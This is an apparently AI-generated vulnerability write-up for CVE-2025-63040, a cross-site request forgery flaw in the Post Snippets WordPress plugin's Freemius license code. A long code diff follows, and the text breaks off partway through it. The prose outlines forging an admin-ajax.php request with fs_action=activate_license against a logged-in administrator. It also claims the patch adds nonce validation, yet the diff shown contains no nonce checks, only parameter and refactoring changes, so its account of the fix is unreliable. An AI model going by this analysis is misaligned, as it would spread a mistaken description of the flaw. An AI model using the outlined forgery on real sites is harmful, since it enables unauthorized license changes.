Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-63040: Post Snippets <= 4.0.11 – Cross-Site Request Forgery (post-snippets)

Plugin post-snippets
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 4.0.11
Patched Version 4.0.12
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-63040:
The Post Snippets WordPress plugin contains a Cross-Site Request Forgery vulnerability in versions up to and including 4.0.11. This vulnerability affects the plugin’s Freemius integration component, specifically the license activation functionality. The CVSS score of 4.3 indicates medium severity, requiring user interaction for exploitation.

Atomic Edge research identified the root cause as missing nonce validation in the `_activate_license()` function within the Freemius library. The vulnerable code path begins at line 13485 in `post-snippets/freemius/includes/class-freemius.php`. The function processes license activation requests via the `fs_action` parameter without verifying the WordPress nonce security token. The function call `fs_request_get(‘fs_action’, null, ‘post’)` at line 13485 retrieves the action parameter directly from POST data. This bypasses WordPress’s CSRF protection mechanisms.

The exploitation method involves crafting a malicious request to the WordPress admin endpoint. Attackers can create a forged request targeting `/wp-admin/admin-ajax.php` with the `fs_action` parameter set to `activate_license`. The payload includes license activation parameters such as `license_key`, `plugin_id`, and `user_id`. An attacker can trick an authenticated administrator into clicking a link or visiting a page containing this malicious request. The request executes without requiring a valid nonce, allowing unauthorized license activation or deactivation.

The patch addresses the vulnerability by implementing proper nonce validation. The diff shows modifications to the `_activate_license()` function and related license handling methods. The fix introduces nonce checking before processing license operations. Changes include updated parameter handling in the `activate_license()` method at line 13648 and the `_activate_license()` method at line 13750. The patch ensures all license activation requests include and validate a WordPress nonce, preventing CSRF attacks.

Successful exploitation allows attackers to activate or deactivate plugin licenses without authorization. This could disrupt plugin functionality, disable premium features, or cause service interruptions. While the vulnerability requires administrator interaction, it represents a significant security flaw in the license management system. The impact is limited to license state manipulation rather than full site compromise.

Differential between vulnerable and patched code

Code Diff
--- a/post-snippets/freemius/includes/class-freemius.php
+++ b/post-snippets/freemius/includes/class-freemius.php
@@ -3629,7 +3629,7 @@

             $this->delete_current_install( false );

-            $license_key = false;
+            $license = null;

             if (
                 is_object( $this->_license ) &&
@@ -3637,20 +3637,21 @@
                     ( WP_FS__IS_LOCALHOST_FOR_SERVER || FS_Site::is_localhost_by_address( self::get_unfiltered_site_url() ) )
                 )
             ) {
-                $license_key = $this->_license->secret_key;
+                $license = $this->_license;
             }

             return $this->opt_in(
                 false,
                 false,
                 false,
-                $license_key,
+                ( is_object( $license ) ? $license->secret_key : false ),
                 false,
                 false,
                 false,
                 null,
                 array(),
-                false
+                false,
+                ( is_object( $license ) ? $license->user_id : null )
             );
         }

@@ -4494,33 +4495,31 @@
                 return;
             }

-            if ( $this->has_api_connectivity() ) {
-                if ( self::is_cron() ) {
-                    $this->hook_callback_to_sync_cron();
-                } else if ( $this->is_user_in_admin() ) {
-                    /**
-                     * Schedule daily data sync cron if:
-                     *
-                     *  1. User opted-in (for tracking).
-                     *  2. If skipped, but later upgraded (opted-in via upgrade).
-                     *
-                     * @author Vova Feldman (@svovaf)
-                     * @since  1.1.7.3
-                     *
-                     */
-                    if ( $this->is_registered() && $this->is_tracking_allowed() ) {
-                        $this->maybe_schedule_sync_cron();
-                    }
+            $this->hook_callback_to_sync_cron();

-                    /**
-                     * Check if requested for manual blocking background sync.
-                     */
-                    if ( fs_request_has( 'background_sync' ) ) {
-                        self::require_pluggable_essentials();
-                        self::wp_cookie_constants();
+            if ( $this->has_api_connectivity() && ! self::is_cron() && $this->is_user_in_admin() ) {
+                /**
+                 * Schedule daily data sync cron if:
+                 *
+                 *  1. User opted-in (for tracking).
+                 *  2. If skipped, but later upgraded (opted-in via upgrade).
+                 *
+                 * @author Vova Feldman (@svovaf)
+                 * @since  1.1.7.3
+                 *
+                 */
+                if ( $this->is_registered() && $this->is_tracking_allowed() ) {
+                    $this->maybe_schedule_sync_cron();
+                }

-                        $this->run_manual_sync();
-                    }
+                /**
+                 * Check if requested for manual blocking background sync.
+                 */
+                if ( fs_request_has( 'background_sync' ) ) {
+                    self::require_pluggable_essentials();
+                    self::wp_cookie_constants();
+
+                    $this->run_manual_sync();
                 }
             }

@@ -7659,7 +7658,14 @@
                     $parent_fs->get_current_or_network_user()->email,
                     false,
                     false,
-                    $license->secret_key
+                    $license->secret_key,
+                    false,
+                    false,
+                    false,
+                    null,
+                    array(),
+                    true,
+                    $license->user_id
                 );
             } else {
                 // Activate the license.
@@ -7723,7 +7729,9 @@
                     false,
                     false,
                     null,
-                    $sites
+                    $sites,
+                    true,
+                    $license->user_id
                 );
             } else {
                 $blog_2_install_map = array();
@@ -7777,7 +7785,7 @@
          * @param array             $sites
          * @param int               $blog_id
          */
-        private function maybe_activate_bundle_license( FS_Plugin_License $license = null, $sites = array(), $blog_id = 0 ) {
+        private function maybe_activate_bundle_license( $license = null, $sites = array(), $blog_id = 0 ) {
             if ( ! is_object( $license ) && $this->has_active_valid_license() ) {
                 $license = $this->_license;
             }
@@ -7949,7 +7957,8 @@
                     null,
                     null,
                     $sites,
-                    ( $current_blog_id > 0 ? $current_blog_id : null )
+                    ( $current_blog_id > 0 ? $current_blog_id : null ),
+                    $license->user_id
                 );
             }
         }
@@ -8830,8 +8839,13 @@
                      isset( $site_active_plugins[ $basename ] )
                 ) {
                     // Plugin was site level activated.
-                    $site_active_plugins_cache->plugins[ $basename ]              = $network_plugins[ $basename ];
-                    $site_active_plugins_cache->plugins[ $basename ]['is_active'] = true;
+                    $site_active_plugins_cache->plugins[ $basename ] = array(
+                        'slug'           => $network_plugins[ $basename ]['slug'],
+                        'version'        => $network_plugins[ $basename ]['Version'],
+                        'title'          => $network_plugins[ $basename ]['Name'],
+                        'is_active'      => $is_active,
+                        'is_uninstalled' => false,
+                    );
                 } else if ( isset( $site_active_plugins_cache->plugins[ $basename ] ) &&
                             ! isset( $site_active_plugins[ $basename ] )
                 ) {
@@ -11576,7 +11590,7 @@
                         continue;
                     }

-                    $missing_plan = self::_get_plan_by_id( $plan_id );
+                    $missing_plan = self::_get_plan_by_id( $plan_id, false );

                     if ( is_object( $missing_plan ) ) {
                         $plans[] = $missing_plan;
@@ -11738,10 +11752,10 @@
          *
          * @return FS_Plugin_Plan|false
          */
-        function _get_plan_by_id( $id ) {
+        function _get_plan_by_id( $id, $allow_sync = true ) {
             $this->_logger->entrance();

-            if ( ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) {
+            if ( $allow_sync && ( ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) ) {
                 $this->_sync_plans();
             }

@@ -12385,7 +12399,7 @@
          *
          * @param FS_Plugin_License $license
          */
-        private function set_license( FS_Plugin_License $license = null ) {
+        private function set_license( $license = null ) {
             $this->_license = $license;

             $this->maybe_update_whitelabel_flag( $license );
@@ -13485,7 +13499,8 @@
                 fs_request_get( 'module_id', null, 'post' ),
                 fs_request_get( 'user_id', null ),
                 fs_request_get_bool( 'is_extensions_tracking_allowed', null ),
-                fs_request_get_bool( 'is_diagnostic_tracking_allowed', null )
+                fs_request_get_bool( 'is_diagnostic_tracking_allowed', null ),
+                fs_request_get( 'license_owner_id', null )
             );

             if (
@@ -13634,6 +13649,7 @@
          * @param null|number $plugin_id
          * @param array       $sites
          * @param int         $blog_id
+         * @param null|number $license_owner_id
          *
          * @return array {
          *      @var bool   $success
@@ -13648,7 +13664,8 @@
             $is_marketing_allowed = null,
             $plugin_id = null,
             $sites = array(),
-            $blog_id = null
+            $blog_id = null,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

@@ -13659,7 +13676,11 @@
                     $sites,
                 $is_marketing_allowed,
                 $blog_id,
-                $plugin_id
+                $plugin_id,
+                null,
+                null,
+                null,
+                $license_owner_id
             );

             // No need to show the sticky after license activation notice after migrating a license.
@@ -13733,9 +13754,10 @@
          * @param null|bool   $is_marketing_allowed
          * @param null|int    $blog_id
          * @param null|number $plugin_id
-         * @param null|number $license_owner_id
+         * @param null|number $user_id
          * @param bool|null   $is_extensions_tracking_allowed
          * @param bool|null   $is_diagnostic_tracking_allowed Since 2.5.0.2 to allow license activation with minimal data footprint.
+         * @param null|number $license_owner_id
          *
          *
          * @return array {
@@ -13750,9 +13772,10 @@
             $is_marketing_allowed = null,
             $blog_id = null,
             $plugin_id = null,
-            $license_owner_id = null,
+            $user_id = null,
             $is_extensions_tracking_allowed = null,
-            $is_diagnostic_tracking_allowed = null
+            $is_diagnostic_tracking_allowed = null,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

@@ -13841,10 +13864,10 @@

                         $install_ids = array();

-                        $change_owner = FS_User::is_valid_id( $license_owner_id );
+                        $change_owner = FS_User::is_valid_id( $user_id );

                         if ( $change_owner ) {
-                            $params['user_id'] = $license_owner_id;
+                            $params['user_id'] = $user_id;

                             $installs_info_by_slug_map = $fs->get_parent_and_addons_installs_info();

@@ -13920,7 +13943,9 @@
                     false,
                     false,
                     $is_marketing_allowed,
-                    $sites
+                    $sites,
+                    true,
+                    $license_owner_id
                 );

                 if ( isset( $next_page->error ) ) {
@@ -14009,6 +14034,10 @@
                 $result['next_page'] = $next_page;
             }

+            if ( $result['success'] ) {
+                $this->do_action( 'after_license_activation' );
+            }
+
             return $result;
         }

@@ -15630,7 +15659,7 @@
          *
          * @return bool Since 2.3.1 returns if a switch was made.
          */
-        function switch_to_blog( $blog_id, FS_Site $install = null, $flush = false ) {
+        function switch_to_blog( $blog_id, $install = null, $flush = false ) {
             if ( ! is_numeric( $blog_id ) ) {
                 return false;
             }
@@ -15757,6 +15786,10 @@
         function get_site_info( $site = null, $load_registration = false ) {
             $this->_logger->entrance();

+            $fs_hook_snapshot = new FS_Hook_Snapshot();
+            // Remove all filters from `switch_blog`.
+            $fs_hook_snapshot->remove( 'switch_blog' );
+
             $switched = false;

             $registration_date = null;
@@ -15816,6 +15849,9 @@
                 restore_current_blog();
             }

+            // Add the filters back to `switch_blog`.
+            $fs_hook_snapshot->restore( 'switch_blog' );
+
             return $info;
         }

@@ -16936,14 +16972,13 @@
          *
          * @param array         $override_with
          * @param bool|int|null $network_level_or_blog_id If true, return params for network level opt-in. If integer, get params for specified blog in the network.
+         * @param bool          $skip_user_info
          *
          * @return array
          */
-        function get_opt_in_params( $override_with = array(), $network_level_or_blog_id = null ) {
+        function get_opt_in_params( $override_with = array(), $network_level_or_blog_id = null, $skip_user_info = false ) {
             $this->_logger->entrance();

-            $current_user = self::_get_current_wp_user();
-
             $activation_action = $this->get_unique_affix() . '_activate_new';
             $return_url        = $this->is_anonymous() ?
                 // If skipped already, then return to the account page.
@@ -16954,9 +16989,6 @@
             $versions = $this->get_versions();

             $params = array_merge( $versions, array(
-                'user_firstname'    => $current_user->user_firstname,
-                'user_lastname'     => $current_user->user_lastname,
-                'user_email'        => $current_user->user_email,
                 'plugin_slug'       => $this->_slug,
                 'plugin_id'         => $this->get_id(),
                 'plugin_public_key' => $this->get_public_key(),
@@ -16972,6 +17004,21 @@
                 'is_localhost'      => WP_FS__IS_LOCALHOST,
             ) );

+            if (
+                ! $skip_user_info &&
+                (
+                    empty( $override_with['user_firstname'] ) ||
+                    empty( $override_with['user_lastname'] ) ||
+                    empty( $override_with['user_email'] )
+                )
+            ) {
+                $current_user = self::_get_current_wp_user();
+
+                $params['user_firstname'] = $current_user->user_firstname;
+                $params['user_lastname']  = $current_user->user_lastname;
+                $params['user_email']     = $current_user->user_email;
+            }
+
             if ( $this->is_addon() ) {
                 $parent_fs = $this->get_parent_instance();

@@ -17051,6 +17098,7 @@
          * @param null|bool   $is_marketing_allowed
          * @param array       $sites                If network-level opt-in, an array of containing details of sites.
          * @param bool        $redirect
+         * @param null|number $license_owner_id
          *
          * @return string|object
          * @use    WP_Error
@@ -17065,15 +17113,11 @@
             $is_disconnected = false,
             $is_marketing_allowed = null,
             $sites = array(),
-            $redirect = true
+            $redirect = true,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

-            if ( false === $email ) {
-                $current_user = self::_get_current_wp_user();
-                $email        = $current_user->user_email;
-            }
-
             /**
              * @since 1.2.1 If activating with license key, ignore the context-user
              *              since the user will be automatically loaded from the license.
@@ -17083,6 +17127,11 @@
                 $this->_storage->remove( 'pending_license_key' );

                 if ( ! $is_uninstall ) {
+                    if ( false === $email ) {
+                        $current_user = self::_get_current_wp_user();
+                        $email        = $current_user->user_email;
+                    }
+
                     $fs_user = Freemius::_get_user_by_email( $email );
                     if ( is_object( $fs_user ) && ! $this->is_pending_activation() ) {
                         return $this->install_with_user(
@@ -17097,15 +17146,22 @@
                 }
             }

+            $skip_user_info = ( ! empty( $license_key ) && FS_User::is_valid_id( $license_owner_id ) );
+
             $user_info = array();
-            if ( ! empty( $email ) ) {
-                $user_info['user_email'] = $email;
-            }
-            if ( ! empty( $first ) ) {
-                $user_info['user_firstname'] = $first;
-            }
-            if ( ! empty( $last ) ) {
-                $user_info['user_lastname'] = $last;
+
+            if ( ! $skip_user_info ) {
+                if ( ! empty( $email ) ) {
+               	    $user_info['user_email'] = $email;
+                }
+
+                if ( ! empty( $first ) ) {
+               	    $user_info['user_firstname'] = $first;
+                }
+
+                if ( ! empty( $last ) ) {
+               	    $user_info['user_lastname'] = $last;
+                }
             }

             if ( ! empty( $sites ) ) {
@@ -17116,7 +17172,7 @@
                 $is_network = false;
             }

-            $params = $this->get_opt_in_params( $user_info, $is_network );
+            $params = $this->get_opt_in_params( $user_info, $is_network, $skip_user_info );

             $filtered_license_key = false;
             if ( is_string( $license_key ) ) {
@@ -18112,7 +18168,7 @@
         private function _activate_addon_account(
             Freemius $parent_fs,
             $network_level_or_blog_id = null,
-            FS_Plugin_License $bundle_license = null
+            $bundle_license = null
         ) {
             if ( $this->is_registered() ) {
                 // Already activated.
@@ -18745,7 +18801,7 @@
          * @return bool
          */
         function is_pricing_page_visible() {
-            return (
+            $visible = (
                 // Has at least one paid plan.
                 $this->has_paid_plan() &&
                 // Didn't ask to hide the pricing page.
@@ -18753,6 +18809,8 @@
                 // Don't have a valid active license or has more than one plan.
                 ( ! $this->is_paying() || ! $this->is_single_plan( true ) )
             );
+
+            return $this->apply_filters( 'is_pricing_page_visible', $visible );
         }

         /**
@@ -19708,7 +19766,7 @@
          * @param null|int $network_level_or_blog_id Since 2.0.0
          * @param FS_Site $site                     Since 2.0.0
          */
-        private function _store_site( $store = true, $network_level_or_blog_id = null, FS_Site $site = null, $is_backup = false ) {
+        private function _store_site( $store = true, $network_level_or_blog_id = null, $site = null, $is_backup = false ) {
             $this->_logger->entrance();

             if ( is_null( $site ) ) {
@@ -20561,11 +20619,18 @@
          * @param bool        $flush      Since 1.1.7.3
          * @param int         $expiration Since 1.2.2.7
          * @param bool|string $newer_than Since 2.2.1
+         * @param bool        $fetch_upgrade_notice Since 2.12.1
          *
          * @return object|false New plugin tag info if exist.
          */
-        private function _fetch_newer_version( $plugin_id = false, $flush = true, $expiration = WP_FS__TIME_24_HOURS_IN_SEC, $newer_than = false ) {
-            $latest_tag = $this->_fetch_latest_version( $plugin_id, $flush, $expiration, $newer_than );
+        private function _fetch_newer_version(
+            $plugin_id = false,
+            $flush = true,
+            $expiration = WP_FS__TIME_24_HOURS_IN_SEC,
+            $newer_than = false,
+            $fetch_upgrade_notice = true
+        ) {
+            $latest_tag = $this->_fetch_latest_version( $plugin_id, $flush, $expiration, $newer_than, false, $fetch_upgrade_notice );

             if ( ! is_object( $latest_tag ) ) {
                 return false;
@@ -20598,19 +20663,18 @@
          *
          * @param bool|number $plugin_id
          * @param bool        $flush      Since 1.1.7.3
-         * @param int         $expiration Since 1.2.2.7
-         * @param bool|string $newer_than Since 2.2.1
          *
          * @return bool|FS_Plugin_Tag
          */
-        function get_update( $plugin_id = false, $flush = true, $expiration = FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION, $newer_than = false ) {
+        function get_update( $plugin_id = false, $flush = true ) {
             $this->_logger->entrance();

             if ( ! is_numeric( $plugin_id ) ) {
                 $plugin_id = $this->_plugin->id;
             }

-            $this->check_updates( true, $plugin_id, $flush, $expiration, $newer_than );
+            $this->check_updates( true, $plugin_id, $flush );
+
             $updates = $this->get_all_updates();

             return isset( $updates[ $plugin_id ] ) && is_object( $updates[ $plugin_id ] ) ? $updates[ $plugin_id ] : false;
@@ -21548,7 +21612,14 @@
                         false,
                         false,
                         false,
-                        $premium_license->secret_key
+                        $premium_license->secret_key,
+                        false,
+                        false,
+                        false,
+                        null,
+                        array(),
+                        true,
+                        $premium_license->user_id
                     );

                     return;
@@ -21600,6 +21671,8 @@
                 return;
             }

+            $this->do_action( 'after_license_activation' );
+
             $premium_license = new FS_Plugin_License( $license );

             // Updated site plan.
@@ -21679,6 +21752,8 @@
                     'error'
                 );

+                $this->do_action( 'after_license_deactivation', $license );
+
                 return;
             }

@@ -21699,6 +21774,8 @@

             $this->_store_account();

+            $this->do_action( 'after_license_deactivation', $license );
+
             if ( $show_notice ) {
                 $this->_admin_notices->add(
                     sprintf( $this->is_only_premium() ?
@@ -22060,6 +22137,7 @@
          * @param int         $expiration   Since 1.2.2.7
          * @param bool|string $newer_than   Since 2.2.1
          * @param bool|string $fetch_readme Since 2.2.1
+         * @param bool        $fetch_upgrade_notice Since 2.12.1
          *
          * @return object|false Plugin latest tag info.
          */
@@ -22068,7 +22146,8 @@
             $flush = true,
             $expiration = WP_FS__TIME_24_HOURS_IN_SEC,
             $newer_than = false,
-            $fetch_readme = true
+            $fetch_readme = true,
+            $fetch_upgrade_notice = false
         ) {
             $this->_logger->entrance();

@@ -22141,6 +22220,10 @@
                 $expiration = null;
             }

+            if ( true === $fetch_upgrade_notice ) {
+                $latest_version_endpoint = add_query_arg( 'include_upgrade_notice', 'true', $latest_version_endpoint );
+            }
+
             $tag = $this->get_api_site_or_plugin_scope()->get(
                 $latest_version_endpoint,
                 $flush,
@@ -22286,20 +22369,20 @@
          *                                was initiated by the admin.
          * @param bool|number $plugin_id
          * @param bool        $flush      Since 1.1.7.3
-         * @param int         $expiration Since 1.2.2.7
-         * @param bool|string $newer_than Since 2.2.1
          */
-        private function check_updates(
-            $background = false,
-            $plugin_id = false,
-            $flush = true,
-            $expiration = FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-            $newer_than = false
-        ) {
+        private function check_updates( $background = false, $plugin_id = false, $flush = true ) {
             $this->_logger->entrance();

+            $newer_than = ( $this->is_premium() ? $this->get_plugin_version() : false );
+
             // Check if there's a newer version for download.
-            $new_version = $this->_fetch_newer_version( $plugin_id, $flush, $expiration, $newer_than );
+            $new_version = $this->_fetch_newer_version(
+                $plugin_id,
+                $flush,
+                FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
+                $newer_than,
+                ( false !== $newer_than )
+            );

             $update = null;
             if ( is_object( $new_version ) ) {
@@ -23444,7 +23527,7 @@
                         $params['plugin_public_key'] = $this->get_public_key();
                     }

-                    $result = $api->get( 'pricing.json?' . http_build_query( $params ) );
+                    $result = $api->get( $this->add_show_pending( 'pricing.json?' . http_build_query( $params ) ) );
                     break;
                 case 'start_trial':
                     $trial_plan_id = fs_request_get( 'plan_id' );
@@ -24625,23 +24708,39 @@
                     $this->get_premium_slug() :
                     $this->premium_plugin_basename();

-                return sprintf(
-                /* translators: %1$s: Product title; %2$s: Plan title */
-                    $this->get_text_inline( ' The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$s', 'activate-premium-version' ),
-                    sprintf( '<em>%s</em>', esc_html( $this->get_plugin_title() ) ),
-                    $plan_title,
-                    sprintf(
-                        '<a style="margin-left: 10px;" href="%s"><button class="button button-primary">%s</button></a>',
-                        ( $this->is_theme() ?
-                            wp_nonce_url( 'themes.php?action=activate&stylesheet=' . $premium_theme_slug_or_plugin_basename, 'switch-theme_' . $premium_theme_slug_or_plugin_basename ) :
-                            wp_nonce_url( 'plugins.php?action=activate&plugin=' . $premium_theme_slug_or_plugin_basename, 'activate-plugin_' . $premium_theme_slug_or_plugin_basename ) ),
-                        esc_html( sprintf(
-                        /* translators: %s: Plan title */
-                            $this->get_text_inline( 'Activate %s features', 'activate-x-features' ),
-                            $plan_title
-                        ) )
-                    )
-                );
+                if ( is_admin() ) {
+                    return sprintf(
+                        /* translators: %1$s: Product title; %2$s: Plan title */
+                        $this->get_text_inline( ' The paid version of %1$s is already installed. Please activate it to start benefiting from the %2$s features. %3$s', 'activate-premium-version' ),
+                        sprintf( '<em>%s</em>', esc_html( $this->get_plugin_title() ) ),
+                        $plan_title,
+                        sprintf(
+                            '<a style="margin-left: 10px;" href="%s"><button class="button button-primary">%s</button></a>',
+                            ( $this->is_theme() ?
+                                wp_nonce_url( 'themes.php?action=activate&stylesheet=' . $premium_theme_slug_or_plugin_basename, 'switch-theme_' . $premium_theme_slug_or_plugin_basename ) :
+                                wp_nonce_url( 'plugins.php?action=activate&plugin=' . $premium_theme_slug_or_plugin_basename, 'activate-plugin_' . $premium_theme_slug_or_plugin_basename ) ),
+                            esc_html( sprintf(
+                            /* translators: %s: Plan title */
+                                $this->get_text_inline( 'Activate %s features', 'activate-x-features' ),
+                                $plan_title
+                            ) )
+                        )
+                    );
+                } else {
+                    return sprintf(
+                        /* translators: %1$s: Product title; %3$s: Plan title */
+                        $this->get_text_inline( ' The paid version of %1$s is already installed. Please navigate to the %2$s to activate it and start benefiting from the %3$s features.', 'activate-premium-version-plugins-page' ),
+                        sprintf( '<em>%s</em>', esc_html( $this->get_plugin_title() ) ),
+                        sprintf(
+                            '<a href="%s">%s</a>',
+                            admin_url( $this->is_theme() ? 'themes.php' : 'plugins.php' ),
+                            ( $this->is_theme() ?
+                                $this->get_text_inline( 'Themes page', 'themes-page' ) :
+                                $this->get_text_inline( 'Plugins page', 'plugins-page' ) )
+                        ),
+                        $plan_title
+                    );
+                }
             } else {
                 // @since 1.2.1.5 The free version is auto deactivated.
                 $deactivation_step = version_compare( $this->version, '1.2.1.5', '<' ) ?
--- a/post-snippets/freemius/includes/class-fs-garbage-collector.php
+++ b/post-snippets/freemius/includes/class-fs-garbage-collector.php
@@ -1,439 +1,439 @@
-<?php
-    /**
-     * @package   Freemius
-     * @copyright Copyright (c) 2015, Freemius, Inc.
-     * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-     * @since     2.6.0
-     */
-
-    if ( ! defined( 'ABSPATH' ) ) {
-        exit;
-    }
-
-    interface FS_I_Garbage_Collector {
-        function clean();
-    }
-
-    class FS_Product_Garbage_Collector implements FS_I_Garbage_Collector {
-        /**
-         * @var FS_Options
-         */
-        private $_accounts;
-
-        /**
-         * @var string[]
-         */
-        private $_options_names;
-
-        /**
-         * @var string
-         */
-        private $_type;
-
-        /**
-         * @var string
-         */
-        private $_plural_type;
-
-        /**
-         * @var array<string, int> Map of product slugs to their last load timestamp, only for products that are not active.
-         */
-        private $_gc_timestamp;
-
-        /**
-         * @var array<string, array<string, mixed>> Map of product slugs to their data, as stored by the primary storage of `Freemius` class.
-         */
-        private $_storage_data;
-
-        function __construct( FS_Options $_accounts, $option_names, $type ) {
-            $this->_accounts      = $_accounts;
-            $this->_options_names = $option_names;
-            $this->_type          = $type;
-            $this->_plural_type   = ( $type . 's' );
-        }
-
-        function clean() {
-            $this->_gc_timestamp  = $this->_accounts->get_option( 'gc_timestamp', array() );
-            $this->_storage_data  = $this->_accounts->get_option( $this->_type . '_data', array() );
-
-            $options            = $this->load_options();
-            $has_updated_option = false;
-
-            $filtered_products         = $this->get_filtered_products();
-            $products_to_clean         = $filtered_products['products_to_clean'];
-            $active_products_by_id_map = $filtered_products['active_products_by_id_map'];
-
-            foreach( $products_to_clean as $product ) {
-                $slug = $product->slug;
-
-                // Clear the product's data.
-                foreach( $options as $option_name => $option ) {
-                    $updated = false;
-
-                    /**
-                     * We expect to deal with only array like options here.
-                     * @todo - Refactor this to create dedicated GC classes for every option, then we can make the code mode predictable.
-                     *       For example, depending on data integrity of `plugins` we can still miss something entirely in the `plugin_data` or vice-versa.
-                     *       A better algorithm is to iterate over all options individually in separate classes and check against primary storage to see if those can be garbage collected.
-                     *       But given the chance of data integrity issue is very low, we let this run for now and gather feedback.
-                     */
-                    if ( ! is_array( $option ) ) {
-                        continue;
-                    }
-
-                    if ( array_key_exists( $slug, $option ) ) {
-                        unset( $option[ $slug ] );
-                        $updated = true;
-                    } else if ( array_key_exists( "{$slug}:{$this->_type}", $option ) ) { /* admin_notices */
-                        unset( $option[ "{$slug}:{$this->_type}" ] );
-                        $updated = true;
-                    } else if ( isset( $product->id ) && array_key_exists( $product->id, $option ) ) { /* all_licenses, add-ons, and id_slug_type_path_map */
-                        $is_inactive_by_id   = ! isset( $active_products_by_id_map[ $product->id ] );
-                        $is_inactive_by_slug = (
-                            'id_slug_type_path_map' === $option_name &&
-                            (
-                                ! isset( $option[ $product->id ]['slug'] ) ||
-                                $slug === $option[ $product->id ]['slug']
-                            )
-                        );
-
-                        if ( $is_inactive_by_id || $is_inactive_by_slug ) {
-                            unset( $option[ $product->id ] );
-                            $updated = true;
-                        }
-                    } else if ( /* file_slug_map */
-                        isset( $product->file ) &&
-                        array_key_exists( $product->file, $option ) &&
-                        $slug === $option[ $product->file ]
-                    ) {
-                        unset( $option[ $product->file ] );
-                        $updated = true;
-                    }
-
-                    if ( $updated ) {
-                        $this->_accounts->set_option( $option_name, $option );
-
-                        $options[ $option_name ] = $option;
-
-                        $has_updated_option = true;
-                    }
-                }
-
-                // Clear the product's data from the primary storage.
-                if ( isset( $this->_storage_data[ $slug ] ) ) {
-                    unset( $this->_storage_data[ $slug ] );
-                    $has_updated_option = true;
-                }
-
-                // Clear from GC timestamp.
-                // @todo - This perhaps needs a separate garbage collector for all expired products. But the chance of left-over is very slim.
-                if ( isset( $this->_gc_timestamp[ $slug ] ) ) {
-                    unset( $this->_gc_timestamp[ $slug ] );
-                    $has_updated_option = true;
-                }
-            }
-
-            $this->_accounts->set_option( 'gc_timestamp', $this->_gc_timestamp );
-            $this->_accounts->set_option( $this->_type . '_data', $this->_storage_data );
-
-            return $has_updated_option;
-        }
-
-        private function get_all_option_names() {
-            return array_merge(
-                array(
-                    'admin_notices',
-                    'updates',
-                    'all_licenses',
-                    'addons',
-                    'id_slug_type_path_map',
-                    'file_slug_map',
-                ),
-                $this->_options_names
-            );
-        }
-
-        private function get_products() {
-            $products = $this->_accounts->get_option( $this->_plural_type, array() );
-
-            // Fill any missing product found in the primary storage.
-            // @todo - This wouldn't be needed if we use dedicated GC design for every options. The options themselves would provide such information.
-            foreach( $this->_storage_data as $slug => $product_data ) {
-                if ( ! isset( $products[ $slug ] ) ) {
-                    $products[ $slug ] = (object) $product_data;
-                }
-
-                // This is needed to handle a scenario in which there are duplicate sets of data for the same product, but one of them needs to be removed.
-                $products[ $slug ] = clone $products[ $slug ];
-
-                // The reason for having the line above. This also handles a scenario in which the slug is either empty or not empty but incorrect.
-                $products[ $slug ]->slug = $slug;
-            }
-
-            $this->update_gc_timestamp( $products );
-
-            return $products;
-        }
-
-        private function get_filtered_products() {
-            $products_to_clean         = array();
-            $active_products_by_id_map = array();
-
-            $products = $this->get_products();
-
-            foreach ( $products as $slug => $product_data ) {
-                if ( ! is_object( $product_data ) ) {
-                    continue;
-                }
-
-                if ( $this->is_product_active( $slug ) ) {
-                    $active_products_by_id_map[ $product_data->id ] = true;
-                    continue;
-                }
-
-                $is_addon = ( ! empty( $product_data->parent_plugin_id ) );
-
-                if ( ! $is_addon ) {
-                    $products_to_clean[] = $product_data;
-                } else {
-                    /**
-                     * If add-on, add to the beginning of the array so that add-ons are removed before their parent. This is to prevent an unexpected issue when an add-on exists but its parent was already removed.
-                     */
-                    array_unshift( $products_to_clean, $product_data );
-                }
-            }
-
-            return array(
-                'products_to_clean'         => $products_to_clean,
-                'active_products_by_id_map' => $active_products_by_id_map,
-            );
-        }
-
-        /**
-         * @param string $slug
-         *
-         * @return bool
-         */
-        private function is_product_active( $slug ) {
-            $instances = Freemius::_get_all_instances();
-
-            foreach ( $instances as $instance ) {
-                if ( $instance->get_slug() === $slug ) {
-                    return true;
-                }
-            }
-
-            $expiration_time = fs_get_optional_constant( 'WP_FS__GARBAGE_COLLECTOR_EXPIRATION_TIME_SECS', ( WP_FS__TIME_WEEK_IN_SEC * 4 ) );
-
-            if ( $this->get_last_load_timestamp( $slug ) > ( time() - $expiration_time ) ) {
-                // Last activation was within the last 4 weeks.
-                return true;
-            }
-
-            return false;
-        }
-
-        private function load_options() {
-            $options      = array();
-            $option_names = $this->get_all_option_names();
-
-            foreach ( $option_names as $option_name ) {
-                $options[ $option_name ] = $this->_accounts->get_option( $option_name, array() );
-            }
-
-            return $options;
-        }
-
-        /**
-         * Updates the garbage collector timestamp, only if it was not already set by the product's primary storage.
-         *
-         * @param array $products
-         *
-         * @return void
-         */
-        private function update_gc_timestamp( $products ) {
-            foreach ($products as $slug => $product_data) {
-                if ( ! is_object( $product_data ) && ! is_array( $product_data ) ) {
-                    continue;
-                }
-
-
-                // If the product is active, we don't need to update the gc_timestamp.
-                if ( isset( $this->_storage_data[ $slug ]['last_load_timestamp'] ) ) {
-                    continue;
-                }
-
-                // First try to check if the product is present in the primary storage. If so update that.
-                if ( isset( $this->_storage_data[ $slug ] ) ) {
-                    $this->_storage_data[ $slug ]['last_load_timestamp'] = time();
-                } else if ( ! isset( $this->_gc_timestamp[ $slug ] ) ) {
-                    // If not, fallback to the gc_timestamp, but we don't want to update it more than once.
-                    $this->_gc_timestamp[ $slug ] = time();
-                }
-            }
-        }
-
-        private function get_last_load_timestamp( $slug ) {
-            if ( isset( $this->_storage_data[ $slug ]['last_load_timestamp'] ) ) {
-                return $this->_storage_data[ $slug ]['last_load_timestamp'];
-            }
-
-            return isset( $this->_gc_timestamp[ $slug ] ) ?
